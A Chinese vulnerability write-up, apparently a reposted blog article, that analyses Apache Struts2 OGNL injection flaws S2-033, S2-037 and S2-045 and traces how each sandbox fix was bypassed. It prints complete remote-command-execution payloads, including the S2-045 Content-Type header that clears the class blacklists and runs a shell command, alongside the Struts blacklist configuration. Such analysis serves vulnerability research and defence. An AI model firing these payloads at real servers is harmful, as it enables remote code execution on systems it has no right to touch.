浅谈struts2漏洞防护与绕过-中

k1   ·   发表于 2019-07-24 10:52:45   ·   漏洞文章

S2-033和s2-037的区别是,是否需要开启动态方法调用这两个漏洞产生的点差不多,只不过s2-033的点需要allowDynamicMethodCalls为TRUE,s2-037不需要,具体看下面分析

什么是REST呢

1. REST描述的是在网络中client和server的一种交互形式;REST本身不实用,实用的是如何设计 RESTful API(REST风格的网络接口);
 2. Server提供的RESTful API中,URL中只使用名词来指定资源,原则上不使用动词。“资源”是REST架构或者说整个网络处理的核心。

poc

#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#xx=123,#rs=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.command[0]).getInputStream()),#wr=#context[#parameters.obj[0]].getWriter(),#wr.print(#rs),#wr.close(),#xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=open /Applications/Calculator.app

调用堆栈

最后注入的点

lib/struts2-rest-plugin-2.3.20.1.jar!/org/apache/struts2/rest/RestActionMapper.class找到处理url的点,

public ActionMapping getMapping(HttpServletRequest request, ConfigurationManager configManager) {
        ActionMapping mapping = new ActionMapping();
        String uri = RequestUtils.getUri(request);
        uri = this.dropExtension(uri, mapping);
        if (uri == null) {
            return null;
        } else {
            this.parseNameAndNamespace(uri, mapping, configManager);
            this.handleSpecialParameters(request, mapping);
            if (mapping.getName() == null) {
                return null;
            } else {
                this.handleDynamicMethodInvocation(mapping, mapping.getName());

跟进handleDynamicMethodInvocation

没有任何过滤,只要allowDynamicMethodCalls=True就会将我们的payload设置为method,然后经过一系列操作会到达

handleDynamicMethodInvocation方法下面

这里没有了allowDynamicMethodCalls的限制,直接设置了method,也就s2-037了。

struts2-2.3.20-struts2-2.3.29

Struts 2.3.20 配置文件新增加了参数为struts.excludedClasses,此参数为了严格验证排除一些不安全的对象类型。

<constant name="struts.excludedClasses"
              value="
                java.lang.Object,
                java.lang.Runtime,
                java.lang.System,
                java.lang.Class,
                java.lang.ClassLoader,
                java.lang.Shutdown,
                ognl.OgnlContext,
                ognl.MemberAccess,
                ognl.ClassResolver,
                ognl.TypeConverter,
                com.opensymphony.xwork2.ActionContext" />
   <constant name="struts.excludedPackageNamePatterns" value="^java\.lang\..*,^ognl.*,^(?!javax\.servlet\..+)(javax\..+)" />

"java.lang.Classs"值过滤struts标签中静态方法调用。

既然放在了s2-033下,当然拿它的payload来聊沙箱绕过咯

#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#xx=123,#rs=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.command[0]).getInputStream()),#wr=#context[#parameters.obj[0]].getWriter(),#wr.print(#rs),#wr.close(),#xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=open /Applications/Calculator.app

这个poc是去覆盖掉了_memberAccess,在我们之前的poc中,是利用上下文中的某些变量来去突破静态方法的限制来执行命令,但是这次struts2的修复在上下文中去除掉了一些类,即使突破了也没办法去调用,这里的思路呢是去覆盖掉SecurityMemeberAccess对象,为什么用DEFAULT_MEMBER_ACCESS去覆盖呢

public static final MemberAccess DEFAULT_MEMBER_ACCESS = new DefaultMemberAccess(false);

它是SecurityMemberAccess的父类的实例,可以看到SecurityMemberAccess类中实现了很多安全操作,看一下没有覆盖的时候

再来看一下覆盖之后的

另外可以看到poc里面用#parameters来获取的部分,原因是因为引号在传递中被转义了,导致ognl语法错误

官方文档上有写

Application − Application scoped variables
Session − Session scoped variables
Root / value stack − All your action variables are stored here
Request − Request scoped variables
Parameters − Request parameters
Atributes − The attributes stored in page, request, session and application scope

s2-045

这个漏洞在文章https://xz.aliyun.com/t/4662中写过,这里不再细写

这个漏洞主要是因为在上传时使用Jakarta进行解析时,但是如果content-type错误的会进入异常,然后注入OGNL。

poc

Content-Type: %{(#nike='multipart/form-data').((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS))).(#cmd='"whoami"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())};  boundary=---------------------------96954656263154098574003468

struts2-2.3.30+/2.5.2+

diff一下看一下沙盒是怎么做的防护

可以看到上次的poc中的MemberAccessDefaultMemberAccess都已经进入了黑名单

其实看这次的poc可以看出是利用container来获取了ognlUtil实例,然后我们可以知道黑名单是存储到set中的,利于clear直接清除掉,然后利用setMemberAccess覆盖回去,上面有一个关键的点就是使用getInstance()进行实例化,属于单例模式,一般用于比较大,复杂的对象,只初始化一次,而getInstance保证了每次调用都返回相同的对象。

那么我们清除了黑名单就绕过了沙盒的防御,从而RCE。

参考

https://www.secpulse.com/archives/82578.html
https://www.tutorialspoint.com/struts_2/struts_value_stack_ognl.htm
https://xz.aliyun.com/t/3395

转自先知社区

打赏我,让我更有动力~

0 条回复   |  直到 2019-7-24 | 1020 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.